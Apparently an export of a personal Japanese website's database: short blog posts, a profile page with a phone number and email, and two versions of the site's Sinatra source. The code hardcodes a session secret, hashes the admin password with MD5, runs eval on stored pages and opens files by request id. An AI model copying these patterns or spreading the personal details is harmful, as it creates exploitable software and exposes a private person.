の手順書に「~を厳守する」という心構えが出てくる。ファイルを zip で固めて IP メッセンジャーで送って「コードレビュー」をしている。先輩・後輩の序列がはっきりしていて、偉い人のコードレビューはすぐ通るのに新入りは重箱の隅をつつかれる。リファクタリングは危険なので論外で、jQuery 1.4 などの古いライブラリを使っている(「jQuery のバージョンを上げたらよくわからないエラーが出た」という伝説があって、それ以降バージョンを上げることがタブーになっていたりする)。もちろんコスト感もないので、拡張forは当然禁止で、偉い先輩がそのことを偉そうに教えてくる。年収 1000万。\r\n\r\n実際のところそうなのだとは思いますが、しかし我々は年収 400 万円で働くべきではないし 1 の環境で年収 40 万ドルを寄越せと常に主張していく必要がある。\r\n\r\n環境がいいからと低い年収で我慢するのはダンピングでしかないし、結局のところ他のエンジニアを害する利敵行為でしかない。\r\n\r\nというわけで今年も収入が上がるといいなと思ったという話です。","created_at":"2014-02-24T02:17:31.000Z","updated_at":"2014-02-24T02:17:31.000Z"},{"id":2612,"name":"text/AMD Radeon で Linux","body":"%blog% AMD の Radeon を積んだコンピューターで Linux を快適に動かすたった一つの冴えた方法\r\n\r\n諦める","created_at":"2014-02-28T06:11:21.000Z","updated_at":"2014-02-28T06:11:21.000Z"},{"id":2613,"name":"index","body":"\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n# ssig33.com\r\n\r\n## Contents \u0026 Service\r\n\r\n[Texts](http://ssig33.com/text) \r\n\r\n[Rolling Icon](http://icon.ssig33.com) *Twitter Icon Manager that's very cool.*\r\n\r\n[Money Please](http://kanekure.ssig33.com) *KANEKURE Platform*\r\n\r\n[Tumblelog](http://tumblelog.ssig33.com) *powered by Tumblr*\r\n\r\n[Contact Infomation](/連絡先) (for Japanese)\r\n\r\n[Recent Update of This Site](/recent)\r\n\r\n[others](/others)\r\n\r\n## Profile\r\n**Name :** Rick Koike (ssig33) \r\n**Mail :** mail@ssig33.com \r\n**Phone :** +81 90 1450 2501 \r\n**Living at: SECRET** \r\n**Twitter :** [ssig33](http://twitter.com/ssig33) \r\n**Facebook :** [ssig33](http://facebook.com/ssig33) \r\n**Skype :** live:ssig33skype \r\n**Job :** Scinario Writer, Software Engineer \r\n**Face :** \r\n![img](http://g.ssig33.com/e72558607f525cc220a569e807ae8e2d)\r\n\r\n## Skill\r\n- Ruby\r\n- Ruby on Rails\r\n- Sinatra\r\n- MySQL\r\n- MongoDB\r\n- RSpec\r\n- Behavior Driven Development\r\n- JavaScript \u0026 Ajax \u0026 HTML5\r\n- HTML \u0026 CSS\r\n- Japanese\r\n- English(a bit)\r\n- Know much about History of Nanbokucho(JPN), Muromachi(JPN), and Sanguozhi(CN)","created_at":"2014-03-02T08:21:26.000Z","updated_at":"2014-03-02T08:21:26.000Z"},{"id":2614,"name":"text/フラットデザイン","body":"%blog%\r\n\r\nどう考えても使いづらいと思います。まあその辺主観が含まれる話だと思うのでどうでもいいですが。\r\n\r\n1. Windows Phone で Metro と呼ばれる UI デザインが採用される\r\n - ロンドンの地下鉄サインを参考にした UI デザインだった\r\n2. Apple が「スキュモーフィズムの否定」を提唱した iOS7 を発表する\r\n3. みんなが Apple を真似してソフトウェアや Web サイトがのきなみのっぺりした白っぽいやつになる\r\n\r\nという経緯だと認識しております。鉄道サインを UI に用いるというある種のスキューモーフィズムだった Metro に触発されたバカどもが余計なことをしやがったなあという印象を受けています。\r\n\r\nなんとかなってほしい。","created_at":"2014-03-02T13:31:28.000Z","updated_at":"2014-03-02T13:31:28.000Z"},{"id":2615,"name":"text/雪の影響","body":"%blog%\r\n\r\n雪が溶けたあとも車がチェーンをつけて爆走しまくっていた。なので道路ががったがたになっている。砂利なども沢山散っている。とてもではないが自転車で道路を走れない。生活が不便になっている。","created_at":"2014-03-02T13:54:26.000Z","updated_at":"2014-03-02T13:54:26.000Z"},{"id":2616,"name":"text/JAL Sky Wi-Fi を使用するときの注意点","body":"%blog%\r\n\r\n使用する便次第なのですが、国外の会社が運用する衛星を経由してインターネットに接続されることが多いようです。\r\n\r\n結果として、日本国外からインターネットに接続される形になります。通常これはレイテンシなどの問題を発生させますが、だいたい衛星が挟まってる時点でその辺実際そんなに気になるところではありません。\r\n\r\n問題として表面化してくるのは、日本国外からのアクセスを弾いているサイトを使用できないことで、具体的には DMM とかがそうなので、 VPN とかあらかじめ用意しとかないと艦これ出来ません。\r\n\r\n太平洋上で艦これ楽しい!!!最高!!!とかやるためには準備が必要なので準備しておきましょう。ちなみに僕は葛城かエンタープライズと結婚できるようになるまでもう艦これはやらないつもりです。","created_at":"2014-03-03T02:44:37.000Z","updated_at":"2014-03-03T02:44:37.000Z"},{"id":2617,"name":"text/もうそろそろ糸柳和法のデマ事件","body":"%blog% もうそろそろ糸柳和法のデマ事件を振り返って一言いっておくか\r\n\r\n常に Twitter などでも言ってきたことだけど、あの日糸柳がサーバーに挟まれて死んだことにしようって思いついて煽ってたのは俺です。","created_at":"2014-03-04T06:21:29.000Z","updated_at":"2014-03-04T06:21:29.000Z"},{"id":2618,"name":"text/フロントエンドエンジニア","body":"%blog%\r\n\r\n- サーバー構築や保守は本領ではないけど、 Web アプリケーション構築はいろいろやる\r\n- JavaScript や Flash にめっちゃくわしくて動的な Web サイトを構築する\r\n- psd ファイルから HTML と CSS を作る\r\n\r\nこれら全部が時と場合によってフロントエンドエンジニアとして呼ばれますから、この世は地獄だ。","created_at":"2014-03-06T02:44:51.000Z","updated_at":"2014-03-06T02:44:51.000Z"},{"id":2619,"name":"text/マック赤坂がまともだと思う皆さんへ","body":"%blog%\r\n\r\n選挙になってマック赤坂が立候補してくると、冗談なのか本気なのか知りませんが「全候補者のなかでマック赤坂が一番マシ」みたいなこと言う人達が結構大量に出てきます。\r\n\r\n- [具体的にこんな感じ](http://b.hatena.ne.jp/entry/www3.nhk.or.jp/news/html/20140309/k10015831191000.html)\r\n\r\nですが僕はこの人は本当に絶対に当選してはいけない人だと思っています。理由は以下です。\r\n\r\n\u003e![kuso](http://g.ssig33.com/a41700433fb806bc46c1a9fe6a73bcc5) \r\n[スマイル党公式ホームページ](http://smileparty.info/)\r\n\r\n(2)(3) についてはまあともかく(2 に関しては若干の説得力があるのはまたしかでしょう)、(1)はかなり問題です。\r\n\r\n抗精神病薬には一般に言ってアカシジアなどの重篤な副作用があるものであり、副作用との兼ね合いをみながら投薬をしていくことになります。現代において「とりあえずこれ」みたいな感じで出されているジプレキサに至っては一般的な副作用に加えて\r\n\r\n1. 太る\r\n2. とにかく太る\r\n3. そして糖尿病になる\r\n\r\nという副作用があります。しかしながら、こうした副作用があるにせよ、投薬と生活習慣のコントロールにより影響を低く抑え最終的には患者の QOL の向上に資すると判断された結果投薬が行なわれているわけです。副作用のない万能向精神薬なんてものはまだ存在しておらず、そして将来においても長期間(我々が皆死ぬぐらいに)存在しないと悲観してもさほど問題がないのではないでしょうか。つまるところマック赤坂氏は現代の精神医学を全面的に否定していると言えます。\r\n\r\n科学者と臨床家が収集したデータに基き様々な治療が行なわれているわけで、無定見な主義によりそうした医療を否定する人間がまともな政治家として機能するはずがないと考えます。医療に限らず様々な分野においてそうなんじゃないでしょうか。\r\n\r\n何マジレスしてんだというような感じありますけど、とりあえず書いておきたかったので。","created_at":"2014-03-09T11:27:21.000Z","updated_at":"2014-03-09T11:27:21.000Z"},{"id":2620,"name":"text/はてなブログ遅い話","body":"%blog% はてなブログ遅い話\r\n\r\nこれ http://emija.hatenablog.com/entry/2014/03/11/231940 の話です。\r\n\r\nWeb のパフォーマンスは我々の共通の懸案ですから、真面目に考えていきましょう。\r\n\r\n#### 広告オン時\r\n![koukoku](http://g.ssig33.com/1182d74967f8cac8fc7b84d653287cc5)\r\n\r\n#### Adblock した時\r\n![koukoku off](http://g.ssig33.com/df26d43a2eeef411af9edb1d1f7c14cd)\r\n\r\nいずれもキャッシュ無効です。\r\n\r\n### 結論\r\n広告ベタベタ増やしてるのが悪いんじゃないの?","created_at":"2014-03-12T05:32:22.000Z","updated_at":"2014-03-12T05:32:22.000Z"},{"id":2621,"name":"text/はてなブログ遅い話","body":"%blog% はてなブログ遅い話\r\n\r\nこれ http://emija.hatenablog.com/entry/2014/03/11/231940 の話です。\r\n\r\nWeb のパフォーマンスは我々の共通の懸案ですから、真面目に考えていきましょう。\r\n\r\n## 当該 URL で調査\r\n#### 広告オン時\r\n![koukoku](http://g.ssig33.com/1182d74967f8cac8fc7b84d653287cc5)\r\n\r\n#### Adblock した時\r\n![koukoku off](http://g.ssig33.com/df26d43a2eeef411af9edb1d1f7c14cd)\r\n\r\nいずれもキャッシュ無効です。\r\n\r\n## 結論\r\n広告ベタベタ増やしてる + WiMAX のルーター置いてる場所がなんかダメなのが悪いんじゃないの?\r\n\r\n\r\n###参考資料\r\n読み込みに使ってるページはこれ http://blog.livedoor.jp/dqnplus/archives/1790719.html\r\n\r\n#### 痛いニュース広告オン\r\n![itaikoukoku](http://g.ssig33.com/74bf9b3ebd0b96228a6c19e760f8a18a)\r\n\r\n#### 痛いニュース Adblock\r\n![itaiblock](http://g.ssig33.com/3c31155731208575d448648746e7b51e)\r\n\r\nなんとなくブログ界隈全体が表示遅いんじゃないかという気がしますね。\r\n\r\nちなみに以下はうちのサイト\r\n\r\n![ssig33.com](http://g.ssig33.com/a4c5bda4b3848e89453cd76f455dec35)","created_at":"2014-03-12T05:47:38.000Z","updated_at":"2014-03-12T05:47:38.000Z"},{"id":2622,"name":"text/はてなブログ遅い話","body":"%blog% はてなブログ遅い話\r\n\r\nこれ http://emija.hatenablog.com/entry/2014/03/11/231940 の話です。\r\n\r\nWeb のパフォーマンスは我々の共通の懸案ですから、真面目に考えていきましょう。\r\n\r\n## 当該 URL で調査\r\n#### 広告オン時\r\n![koukoku](http://g.ssig33.com/1182d74967f8cac8fc7b84d653287cc5)\r\n\r\n#### Adblock した時\r\n![koukoku off](http://g.ssig33.com/df26d43a2eeef411af9edb1d1f7c14cd)\r\n\r\nいずれもキャッシュ無効です。\r\n\r\n## 結論\r\n広告ベタベタ増やしてる + WiMAX のルーター置いてる場所がなんかダメなのが悪いんじゃないの?\r\n\r\n\r\n###参考資料\r\n読み込みに使ってるページはこれ http://blog.livedoor.jp/dqnplus/archives/1790719.html\r\n\r\n#### 痛いニュース広告オン\r\n![itaikoukoku](http://g.ssig33.com/74bf9b3ebd0b96228a6c19e760f8a18a)\r\n\r\n#### 痛いニュース Adblock\r\n![itaiblock](http://g.ssig33.com/3c31155731208575d448648746e7b51e)\r\n\r\nなんとなくブログ界隈全体が表示遅いんじゃないかという気がしますね。\r\n\r\nちなみに以下はうちのサイト\r\n\r\n![ssig33.com](http://g.ssig33.com/a4c5bda4b3848e89453cd76f455dec35)\r\n\r\n### さらにいろいろ調べた結果\r\n\u003cblockquote class=\"twitter-tweet\" lang=\"en\"\u003e\u003cp\u003eブログだいたい Adblock して 4 秒ぐらいで表示されてしてないと 8 秒ぐらいで表示されるという知見が得られた\u003c/p\u003e\u0026mdash; つつみ (@ssig33) \u003ca href=\"https://twitter.com/ssig33/statuses/443625779188871168\"\u003eMarch 12, 2014\u003c/a\u003e\u003c/blockquote\u003e\r\n\u003cscript async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e","created_at":"2014-03-12T05:53:54.000Z","updated_at":"2014-03-12T05:53:54.000Z"},{"id":2623,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+20].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.to_json}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, env\r\nend\r\n\r\n\r\nerror do\r\n \"error... #{env['sinatra.error']}\"\r\nend\r\n\r\nhelpers do\r\n def h str\r\n CGI.escapeHTML str.to_s\r\n rescue\r\n \"\"\r\n end\r\n\r\n def title\r\n if request.path_info == \"/\" or request.path_info == \"/index\"\r\n return \"ssig33.com\"\r\n else\r\n return \"ssig33.com - #{@page.title}\"\r\n end\r\n end\r\nend","created_at":"2014-03-12T07:24:42.000Z","updated_at":"2014-03-12T07:24:42.000Z"},{"id":2624,"name":"source/app.rb","body":"raw\r\n# vim:set syntax=ruby:\r\nrequire \"msgpack\"\r\nrequire 'memcached'\r\nrequire 'digest/md5'\r\nrequire 'fileutils'\r\n\r\nclass Page \u003c ActiveRecord::Base\r\n def subdomain request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n return nil unless request.host == \"ssig33.com\"\r\n return \"http://#{self.name}/\"\r\n else\r\n return nil\r\n end\r\n end\r\n \r\n def blog str\r\n text = \u003c\u003cEOS\r\n# [ssig33.com](/)\r\n\r\n\u003cdiv id=\"created_at\"\u003e\u003c/div\u003e\r\n## #{self.blogtitle}\r\nEOS\r\n str.sub(/%blog%.*\\n/, text)+\"\\n\\n [back to index of texts](/text)\"\r\n end\r\n \r\n def blogtitle\r\n if self.body.split(\"\\n\").first =~ /%blog%\\ .*/\r\n self.body.split(\"\\n\").first.sub(/%blog%\\ /, '')\r\n else\r\n self.name.sub(/^.*?\\//, '')\r\n end\r\n end\r\n \r\n def html request\r\n if self.body.split(\"\\n\").last == \"subdomain only\"\r\n a = self.body.split(\"\\n\")\r\n a.pop\r\n self.body = a.join(\"\\n\")\r\n end\r\n case self.body.split(\"\\n\").first \r\n when /^haml/\r\n return self.haml request\r\n when /^coffee/\r\n return self.coffee\r\n when /^ruby/\r\n str = \"\"\r\n when /^title/\r\n str = \"\"\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n else\r\n str = self.body\r\n end\r\n str = self.blog(str) if str =~ /%blog%/\r\n Redcarpet::Markdown.new(Redcarpet::Render::HTML, autolink: true, fenced_code_blocks: true, tables: true).render(str) \r\n end\r\n\r\n def title\r\n case self.body.split(\"\\n\").first\r\n when /title/\r\n str = self.body.split(\"\\n\").shift.split(\"title\\ \").last\r\n when /%blog%/\r\n str = self.blogtitle\r\n when /haml/\r\n str = self.body.split(\"\\n\").shift.split(\"haml\\ \").last\r\n when /builder/\r\n str = self.body.split(\"\\n\").shift.split(\"builder\\ \").last\r\n when /coffee/\r\n str = self.body.split(\"\\n\").shift.split(\"coffee\\ \").last\r\n when /ruby/\r\n str = self.body.split(\"\\n\").shift.split(\"ruby\\ \").last\r\n else\r\n str = self.name\r\n end\r\n str.chomp!\r\n str = self.name if str == nil or str == \"\" or str == \"haml\"\r\n str.gsub(/=created_at=/, self.created_at.getutc.to_s)\r\n end\r\n\r\n def raw\r\n ary = self.body.split(\"\\n\")\r\n ary.pop if ary.last == 'subdomain only'\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = \"text\"\r\n end\r\n return ary.join(\"\\n\"), mime\r\n end\r\n \r\n def haml request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n Haml::Engine.new(str).render\r\n end\r\n\r\n def ruby request, env\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n if ary.first =~ /^mime/\r\n mime = ary.shift.split(\" \").last\r\n else\r\n mime = :html\r\n end\r\n\r\n str = ary.join(\"\\n\")\r\n return [eval(str), mime]\r\n end\r\n\r\n def builder request\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n xml = ::Builder::XmlMarkup.new(:indent =\u003e 2)\r\n eval str\r\n end\r\n\r\n def coffee\r\n ary = self.body.split(\"\\n\")\r\n str = \"\"\r\n ary.shift\r\n str = ary.join(\"\\n\")\r\n CoffeeScript.compile(str)\r\n end\r\n\r\n def layout\r\n ary = self.body.split(\"\\n\")\r\n ary.shift\r\n ary.join(\"\\n\")\r\n end\r\nend\r\n\r\nclass Store \u003c ActiveRecord::Base\r\n def value\r\n MessagePack.unpack(self.body) rescue nil\r\n end\r\n\r\n def value= hash\r\n self.body = hash.to_msgpack\r\n end\r\nend\r\n\r\ndef set_cache url, body\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n value = [body, Time.now.to_i+20].to_json\r\n open(\"cache/#{key}\", \"w\"){|f| f.to_json}\r\n true\r\nend\r\n\r\ndef get_cache url\r\n FileUtils.mkdir_p 'cache'\r\n key = Digest::MD5.hexdigest(url).to_s\r\n file = \"cache/#{key}\"\r\n if File.exist? file\r\n a = JSON.parse(open(file).read)\r\n if a.last \u003c Time.now.to_i\r\n nil\r\n else\r\n a.first\r\n end\r\n else\r\n nil\r\n end\r\nrescue\r\n nil\r\nend\r\n\r\ndef page id, request, env\r\n file = open(\"public/#{id}/index.html\").read rescue nil\r\n return file if file\r\n @page = Page.where(:name =\u003e id).order(\"created_at desc\").first\r\n if request.query_string \r\n q = CGI.parse(request.query_string)\r\n p q\r\n if q['history_id'] and q['history_id'].first != nil and q['history_id'].first != ''\r\n @page = Page.find(q['history_id'].first)\r\n end\r\n end\r\n \r\n redirect \"/edit/#{id}\" unless @page\r\n \r\n redirect @page.subdomain(request) if @page.subdomain(request)\r\n \r\n return [@page.haml(request), :html] if @page.body.split(\"\\n\").first =~ /^haml/\r\n \r\n case @page.body.split(\"\\n\").first\r\n when /^raw/ , /^layout/\r\n raw, mime = @page.raw\r\n return [raw, :\"#{mime}\"]\r\n when /^coffee/\r\n return [@page.coffee, :js]\r\n when /^html/\r\n return [@page.raw, :html]\r\n when /^builder/\r\n return [@page.builder(request), :xml]\r\n when /^ruby/ \r\n return @page.ruby(request, env)\r\n else\r\n if layout = Page.where(:name =\u003e \"layout\").order(\"created_at desc\").first\r\n return [haml(layout.layout), :html]\r\n else\r\n return [haml(:page), :html]\r\n end\r\n end\r\nend\r\n\r\n\r\nconfigure do\r\n set :logging, false\r\n set :app_file, __FILE__\r\n use Rack::Session::Cookie, :secret =\u003e 'fsdjkfhsjkhr23f8fhsdjkvhnsdjhrfuiscflaaadn8or'\r\n use Rack::Csrf, :raise =\u003e true\r\nend\r\n\r\nget '/' do\r\n cache = get_cache request.path_info\r\n if cache\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n else\r\n id = 'index'\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n set_cache(request.path_info, for_cache)\r\n end\r\n content_type type\r\n body\r\nend\r\n\r\nget %r{/.*favicon.ico} do\r\n content_type :png\r\n open(\"public/favicon.ico\").read\r\nend\r\n\r\n\r\nget %r{/edit/(.*)} do\r\n @id = params[:captures].first.to_s\r\n @page = Page.where(:name =\u003e @id).order(\"created_at desc\").first\r\n @page = Page.new if @page == nil\r\n ary = Page.where(:name =\u003e \"source/edit.haml\").order(\"created_at desc\").first.body.split(\"\\n\")\r\n ary.shift\r\n status 404\r\n haml ary.join(\"\\n\")\r\nend\r\n\r\nget %r{/(.*)} do\r\n if request.query_string.empty?\r\n cache_path = \"site/#{CGI.escape request.path_info}\" \r\n else\r\n cache_path = \"site/#{CGI.escape request.path_info+'?'+request.query_string}\"\r\n end\r\n cache_path = Digest::MD5.hexdigest(cache_path).to_s\r\n begin\r\n cache = $memcache.get(cache_path)\r\n c = JSON.parse cache\r\n type = c['type']\r\n body = c['body']\r\n rescue Memcached::NotFound\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n body, type = page id, request, env\r\n for_cache = {type: type, body: body}.to_json\r\n if type == :js or type == :css\r\n $memcache.set(cache_path, for_cache, 80000)\r\n else\r\n $memcache.set(cache_path, for_cache, 30)\r\n end\r\n end\r\n #response['Access-Control-Allow-Origin'] = '*'\r\n #response.headers[\"Access-Control-Allow-Origin\"] = \"*\" \r\n content_type type\r\n body\r\nend\r\n\r\npost '/update' do\r\n if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n return \"ERROR\"\r\n else\r\n begin\r\n $memcache.delete Digest::MD5.hexdigest(\"site/#{CGI.escape \"/\"+CGI.unescape(params[:id])}\").to_s\r\n rescue Memcached::NotFound\r\n end\r\n page = Page.new\r\n page.name = params[:id]\r\n page.body = params[:body]\r\n page.save\r\n key = Digest::MD5.hexdigest(page.name).to_s\r\n Groonga['Pages'].add key unless Groonga['Pages'][key]\r\n Groonga['Pages'][key].name = page.name\r\n Groonga['Pages'][key].text = page.body\r\n Groonga['Pages'][key].page_id = Page.where(name: page.name).order('id asc').first.id\r\n redirect \"/#{params[:id]}\"\r\n end\r\nend\r\n\r\npost '/destroy' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n Page.where(:name =\u003e params[:id]).delete_all\r\n redirect \"/\"\r\nend\r\n\r\npost '/usr2' do\r\n raise if Digest::MD5.hexdigest(params[:password]).to_s != PASSWORD\r\n system \"rm site.pid.oldbin\"\r\n system \"kill -QUIT `cat site.pid`\"\r\n redirect \"/\"\r\nend\r\n\r\npost %r{/(.*)} do\r\n id = params[:captures].first.to_s\r\n id.chop! if id.reverse[0] == \"/\"\r\n page id, request, 